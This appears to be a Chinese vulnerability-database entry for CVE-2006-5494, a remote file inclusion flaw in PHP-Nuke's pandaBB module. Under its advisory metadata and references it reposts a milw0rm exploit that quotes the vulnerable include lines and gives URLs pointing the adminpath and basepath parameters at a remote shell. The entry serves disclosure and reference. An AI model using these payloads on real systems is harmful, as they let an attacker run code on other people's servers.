PHP-Nuke pandaBB模块多个远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111333 漏洞类型 代码注入
发布时间 2006-10-19 更新时间 2007-08-08
CVE编号 CVE-2006-5494 CNNVD-ID CNNVD-200610-410
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2599
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-410
|漏洞详情
PHP-Nuke的pandaBB模块中的modules/My_eGallery/public/displayCategory.php脚本存在多个PHP远程文件包含漏洞,远程攻击者可借助(1)adminpath参数或(2)basepath参数中的URL执行任意PHP代码。
|漏洞EXP
:::::::::  :::::::::: :::     ::: ::::::::::: :::
:+:    :+: :+:        :+:     :+:     :+:     :+:
+:+    +:+ +:+        +:+     +:+     +:+     +:+
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+
+#+    +#+ +#+         +#+   +#+      +#+     +#+
#+#    #+# #+#          #+#+#+#       #+#     #+#
#########  ##########     ###     ########### ##########

::::::::::: ::::::::::     :::     ::::    ::::
    :+:     :+:          :+: :+:   +:+:+: :+:+:+
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+
    +#+     +#+        +#+     +#+ +#+       +#+
    #+#     #+#        #+#     #+# #+#       #+#
    ###     ########## ###     ### ###       ###

   - - [DEVIL TEAM THE BEST POLISH TEAM] - -

pandaBB (basepath;adminpath) Remote File Include
[Script name: pandaBB
[Script site: http://phpnuke.pl
Find by: nukedclx (nukedclx@gmail.com)

DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
Contact:
- kacper1964@yahoo.pl
- http://www.rahim.webd.pl/
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon & Kacper
TomZen, Gelo, Ramzes, DMX, Ci2u, Larry, @steriod, Drzewko., CrazzyIwan, Rammstein
Adam., Kicaj., DeathSpeed, Arkadius, Michas, pepi, SkD, MXZ, sysios, mIvus, wacky


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
in modules/My_eGallery/public/displayCategory.php

lines 1-3:
<?php
include ("$basepath/public/imageFunctions.php");
include ("$adminpath/fileFunctions.php");

%Exploit
        http://host/pandadir/modules/My_eGallery/public/displayCategory.php?adminpath=http://sh3ll
        http://host/pandadir/modules/My_eGallery/public/displayCategory.php?basepath=http://sh3ll

# milw0rm.com [2006-10-19]
|参考资料

来源:XF
名称:pandabb-display-file-include(29694)
链接:http://xforce.iss.net/xforce/xfdb/29694
来源:BID
名称:20633
链接:http://www.securityfocus.com/bid/20633
来源:OSVDB
名称:29892
链接:http://www.osvdb.org/29892
来源:MILW0RM
名称:2599
链接:http://www.milw0rm.com/exploits/2599
来源:VUPEN
名称:ADV-2006-4121
链接:http://www.frsirt.com/english/advisories/2006/4121
来源:SECUNIA
名称:22505
链接:http://secunia.com/advisories/22505
来源:MILW0RM
名称:2599
链接:http://milw0rm.com/exploits/2599